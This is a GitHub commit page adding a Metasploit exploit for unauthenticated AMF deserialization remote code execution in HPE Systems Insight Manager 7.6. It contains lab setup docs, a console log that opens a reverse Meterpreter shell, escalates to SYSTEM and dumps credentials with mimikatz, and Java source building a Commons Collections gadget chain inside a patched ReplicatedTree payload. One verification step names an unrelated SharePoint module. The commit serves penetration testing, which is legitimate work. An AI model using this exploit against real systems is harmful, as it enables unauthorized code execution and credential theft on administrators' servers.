Skip to content

Commit fbd6f19

Browse files
committed
Land #14846, add HPE SIM unauth AMF deser rce
2 parents d114641 + 514d46b commit fbd6f19

File tree

6 files changed

+531
-0
lines changed

6 files changed

+531
-0
lines changed
1.31 KB
Binary file not shown.
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
## Vulnerable Application
2+
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
3+
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
4+
Manager's `hpsimsvc.exe` process, which runs with administrative privileges. The vulnerability occurs due
5+
to a failure to validate data during the deserialization process when a user submits a POST request to
6+
the `/simsearch/messagebroker/amfsecure` page.
7+
8+
This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely
9+
3.2.2, that ships with HPE SIM, to gain RCE as the administrative user running HPE SIM.
10+
11+
### Installing HP SIM 7.6
12+
1. Set up a Windows Server 2016 VM.
13+
1. Sign up for a HP login if you do not have one already. You can use a throw away email address here.
14+
1. Download HPE SIM from https://myenterpriselicense.hpe.com/cwp-ui/download/swd/product/details/HPSIM-Win-7.x.
15+
1. Search for `Turn Windows Features On or Off`, select `Role-based or feature-based installation`, and click `Next`, until you see `Select features`.
16+
1. Check `SNMP Service` and `.NET Framework 3.5 Features`, and click `Next`, then `Install`. You may need to be connected to the internet to install .NET 3.5.
17+
1. Download SQL Server 2016 SP2 Express from https://www.microsoft.com/en-us/download/details.aspx?id=56840 and run the installer.
18+
1. Open `Computer Management` and then go to `Computer Management (Local)->Services and Applications->SQL Server Configuration Manager->SQL Server Network Configuration->Protocols for SQLEXPRESS` and double click on `TCP/IP`.
19+
1. Set `Enabled` to `Yes` under the `Protocol` tab.
20+
1. Click on the `IP Addresses` tab and set all `TCP Dynamic Ports` fields from `0` to an empty field, and set all `TCP Port` fields to `1433`. Then click the `Apply` button.
21+
1. Restart the SQL service by running `sc stop MSSQL$SQLEXPRESS` and then after a few seconds, run `sc start MSSQL$SQLEXPRESS`
22+
1. Run the HPE SIM installer and when it gets to the `Database Configuration` page, it should default to `Use SQL/SQL Express`.
23+
1. Ensure at this point that the username is `Administrator` (or whatever the name of the administrative user you are installing as is), and the `Domain` and `Host` values are correct, and that the port is `1433`.
24+
1. For the `Password` field, enter the password of the `Administrator` (or whatever the name of the administrative user you are installing as is), and click the `Next` button.
25+
1. Click `Typical` under the installation option and then select `Next`.
26+
1. On the `Service Account Credentials` screen, enter the password for the `Administrative` user and click `Next`. Then click `Install`.
27+
1. Wait for installation to complete, this could take up to 30 min.
28+
1. Verify that you can view https://127.0.0.1:50000/simsearch/messagebroker/amfsecure and that the page returns a HTTP 200 OK response code.
29+
30+
## Verification Steps
31+
32+
1. Install the application ensure port 50000 is open on the target and that the `/simsearch/messagebroker/amfsecure` page is accessible.
33+
1. Start msfconsole
34+
1. Do: `use exploit/windows/http/sharepoint_data_deserialization`
35+
1. Set the `RHOSTS` option.
36+
1. Set the `TARGET` option if desired.
37+
1. Set an appropriate payload for the `PAYLOAD` option.
38+
1. Set any additional options as required by the previously selected payload
39+
1. Run the exploit
40+
41+
## Options
42+
43+
## Scenarios
44+
45+
### SIM_7.6_Z7550-96287 on Server 2016
46+
47+
```
48+
msf6 > use exploit/windows/http/hpe_sim_76_amf_deserialization
49+
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
50+
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set RHOSTS 172.27.145.59
51+
RHOSTS => 172.27.145.59
52+
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set LHOST 172.27.150.115
53+
LHOST => 172.27.150.115
54+
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > show options
55+
56+
Module options (exploit/windows/http/hpe_sim_76_amf_deserialization):
57+
58+
Name Current Setting Required Description
59+
---- --------------- -------- -----------
60+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
61+
RHOSTS 172.27.145.59 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
62+
RPORT 50000 yes The target port (TCP)
63+
SSL true no Negotiate SSL/TLS for outgoing connections
64+
TARGETURI / yes The base path to the HPE SIM server
65+
VHOST no HTTP server virtual host
66+
67+
68+
Payload options (windows/x64/meterpreter/reverse_tcp):
69+
70+
Name Current Setting Required Description
71+
---- --------------- -------- -----------
72+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
73+
LHOST 172.27.150.115 yes The listen address (an interface may be specified)
74+
LPORT 4444 yes The listen port
75+
76+
77+
Exploit target:
78+
79+
Id Name
80+
-- ----
81+
1 Windows Powershell
82+
83+
84+
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > exploit
85+
86+
[*] Started reverse TCP handler on 172.27.150.115:4444
87+
[*] Executing automatic check (disable AutoCheck to override)
88+
[+] The target is vulnerable. Target returned java.lang.NullPointerException in its 200 OK response!
89+
[*] Sending stage (200262 bytes) to 172.27.145.59
90+
[*] Meterpreter session 1 opened (172.27.150.115:4444 -> 172.27.145.59:53349) at 2021-03-08 16:04:52 -0600
91+
92+
meterpreter > getuid
93+
Server username: WIN-QKA9JKS5MVU\Administrator
94+
meterpreter > getprivs
95+
96+
Enabled Process Privileges
97+
==========================
98+
99+
Name
100+
----
101+
SeAssignPrimaryTokenPrivilege
102+
SeBackupPrivilege
103+
SeChangeNotifyPrivilege
104+
SeCreateGlobalPrivilege
105+
SeCreatePagefilePrivilege
106+
SeCreateSymbolicLinkPrivilege
107+
SeCreateTokenPrivilege
108+
SeDebugPrivilege
109+
SeImpersonatePrivilege
110+
SeIncreaseBasePriorityPrivilege
111+
SeIncreaseQuotaPrivilege
112+
SeIncreaseWorkingSetPrivilege
113+
SeLoadDriverPrivilege
114+
SeLockMemoryPrivilege
115+
SeManageVolumePrivilege
116+
SeProfileSingleProcessPrivilege
117+
SeRemoteShutdownPrivilege
118+
SeRestorePrivilege
119+
SeSecurityPrivilege
120+
SeShutdownPrivilege
121+
SeSystemEnvironmentPrivilege
122+
SeSystemProfilePrivilege
123+
SeSystemtimePrivilege
124+
SeTakeOwnershipPrivilege
125+
SeTimeZonePrivilege
126+
SeUndockPrivilege
127+
128+
meterpreter > getsystem
129+
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
130+
meterpreter > load kiwi
131+
Loading extension kiwi...
132+
.#####. mimikatz 2.2.0 20191125 (x64/windows)
133+
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
134+
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
135+
## \ / ## > http://blog.gentilkiwi.com/mimikatz
136+
'## v ##' Vincent LE TOUX ( [email protected] )
137+
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
138+
139+
Success.
140+
meterpreter > creds_all
141+
[+] Running as SYSTEM
142+
[*] Retrieving all credentials
143+
msv credentials
144+
===============
145+
146+
Username Domain NTLM SHA1
147+
-------- ------ ---- ----
148+
Administrator WIN-QKA9JKS5MVU *censored* *censored*
149+
150+
wdigest credentials
151+
===================
152+
153+
Username Domain Password
154+
-------- ------ --------
155+
(null) (null) (null)
156+
Administrator WIN-QKA9JKS5MVU (null)
157+
WIN-QKA9JKS5MVU$ WORKGROUP (null)
158+
159+
kerberos credentials
160+
====================
161+
162+
Username Domain Password
163+
-------- ------ --------
164+
(null) (null) (null)
165+
Administrator WIN-QKA9JKS5MVU (null)
166+
MSSQL$SQLEXPRESS NT Service (null)
167+
SQLTELEMETRY$SQLEXPRESS NT Service (null)
168+
win-qka9jks5mvu$ WORKGROUP (null)
169+
170+
171+
meterpreter >
172+
```
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" inherit-compiler-output="true">
4+
<exclude-output />
5+
<content url="file://$MODULE_DIR$">
6+
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
7+
</content>
8+
<orderEntry type="inheritedJdk" />
9+
<orderEntry type="sourceFolder" forTests="false" />
10+
<orderEntry type="library" name="Dependancies" level="project" />
11+
</component>
12+
</module>
5.54 KB
Binary file not shown.
Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
import flex.messaging.io.SerializationContext;
2+
import flex.messaging.io.amf.*;
3+
4+
import javassist.*;
5+
import org.apache.commons.collections.Transformer;
6+
import org.apache.commons.collections.functors.ChainedTransformer;
7+
import org.apache.commons.collections.functors.ConstantTransformer;
8+
import org.apache.commons.collections.functors.InvokerTransformer;
9+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
10+
import org.apache.commons.collections.map.LazyMap;
11+
12+
import org.jgroups.blocks.ReplicatedTree;
13+
14+
15+
import java.io.*;
16+
import java.lang.reflect.Constructor;
17+
import java.lang.reflect.Field;
18+
import java.lang.Class;
19+
import java.nio.file.Files;
20+
import java.util.*;
21+
22+
public class Test1 {
23+
public static void main(String[] args) throws Exception{
24+
// Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
25+
ClassPool pool = ClassPool.getDefault();
26+
CtClass ctClass = pool.get("org.jgroups.blocks.ReplicatedTree");
27+
CtClass ctClass1 = pool.get("byte[]");
28+
CtField ctField = new CtField(ctClass1, "state", ctClass);
29+
ctClass.addField(ctField);
30+
31+
// Remove the default getState method and replace it with our own getState method that
32+
// just returns the state field that we added in above.
33+
ctClass.removeMethod(ctClass.getDeclaredMethod("getState"));
34+
CtMethod ctMethod = CtNewMethod.make("public byte[] getState(){ return this.state; }", ctClass);
35+
ctClass.addMethod(ctMethod);
36+
37+
// Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
38+
// ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
39+
// the code below. Here we also create an object that will call calc.exe and write that
40+
// resulting object into the object output stream, before then closing the stream.
41+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
42+
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
43+
objectOutputStream.writeObject(getObject2("PAYLOAD"));
44+
objectOutputStream.close();
45+
46+
// Convert the byte array containing the object stream into
47+
// a byte array and save that into secondObj
48+
byte[] secondObj = byteArrayOutputStream.toByteArray();
49+
50+
// First we create a ReplicatedTree object here, which is part of our desire
51+
// to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
52+
// ctClass, aka the adjusted class that had the "state" field added and the "getState" method
53+
// adjusted, to do this. Then set the "state" field to be accessible and set its value
54+
// to that of secondObj, or the object stream created by getObject2().
55+
Constructor constctor = ctClass.toClass().getConstructor();
56+
ReplicatedTree replicatedTree = (ReplicatedTree) constctor.newInstance();
57+
Field f1 = replicatedTree.getClass().getDeclaredField("state");
58+
f1.setAccessible(true);
59+
f1.set(replicatedTree, secondObj);
60+
61+
// Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
62+
// serialize this object and wrap it further into an AMF object, then return its byte stream and
63+
// save this into the byte array "ser".
64+
byte[] ser = serialize(replicatedTree);
65+
66+
// Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
67+
FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
68+
fileOutputStream.write(ser);
69+
fileOutputStream.close();
70+
71+
// Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
72+
// into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
73+
// content to check the deserialization works properly.
74+
byte[] serContent = Files.readAllBytes((new File("emp.ser")).toPath());
75+
deserialize(serContent);
76+
}
77+
78+
public static byte[] serialize(Object data) throws IOException {
79+
// Create the MessageBody element that will contain the data to be recreated using readObject().
80+
// Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
81+
// if you need more info on this.
82+
MessageBody body = new MessageBody();
83+
body.setData(data);
84+
85+
// Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
86+
// end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
87+
// this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
88+
// here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
89+
ActionMessage message = new ActionMessage();
90+
message.addBody(body);
91+
92+
// Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
93+
// Then call out.toByteArray() to get the byte array version of the resulting serialized object.
94+
ByteArrayOutputStream out = new ByteArrayOutputStream();
95+
AmfMessageSerializer serializer = new AmfMessageSerializer();
96+
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
97+
serializer.writeMessage(message);
98+
99+
return out.toByteArray();
100+
}
101+
102+
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
103+
// Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
104+
// opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
105+
// and pass it "amf", aka the byte array stream we want to process.
106+
ByteArrayInputStream in = new ByteArrayInputStream(amf);
107+
108+
// Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
109+
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
110+
deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
111+
deserializer.readMessage(new ActionMessage(), new ActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
112+
}
113+
114+
115+
public static Serializable getObject2(final String command) throws Exception {
116+
117+
final String[] execArgs = new String[] { command };
118+
119+
final Transformer[] transformers = new Transformer[] {
120+
new ConstantTransformer(Runtime.class),
121+
new InvokerTransformer("getMethod", new Class[] {
122+
String.class, Class[].class }, new Object[] {
123+
"getRuntime", new Class[0] }),
124+
new InvokerTransformer("invoke", new Class[] {
125+
Object.class, Object[].class }, new Object[] {
126+
null, new Object[0] }),
127+
new InvokerTransformer("exec",
128+
new Class[] { String.class }, execArgs),
129+
new ConstantTransformer(1) };
130+
131+
Transformer transformerChain = new ChainedTransformer(transformers);
132+
133+
final Map innerMap = new HashMap();
134+
135+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
136+
137+
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
138+
139+
HashSet map = new HashSet(1);
140+
map.add("foo");
141+
Field f = null;
142+
try {
143+
f = HashSet.class.getDeclaredField("map");
144+
} catch (NoSuchFieldException e) {
145+
f = HashSet.class.getDeclaredField("backingMap");
146+
}
147+
148+
f.setAccessible(true);
149+
HashMap innimpl = (HashMap) f.get(map);
150+
151+
Field f2 = null;
152+
try {
153+
f2 = HashMap.class.getDeclaredField("table");
154+
} catch (NoSuchFieldException e) {
155+
f2 = HashMap.class.getDeclaredField("elementData");
156+
}
157+
158+
f2.setAccessible(true);
159+
Object[] array = (Object[]) f2.get(innimpl);
160+
161+
Object node = array[0];
162+
if(node == null){
163+
node = array[1];
164+
}
165+
166+
Field keyField = null;
167+
try{
168+
keyField = node.getClass().getDeclaredField("key");
169+
}catch(Exception e){
170+
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
171+
}
172+
173+
keyField.setAccessible(true);
174+
keyField.set(node, entry);
175+
176+
return map;
177+
178+
}
179+
}

0 commit comments

Comments
 (0)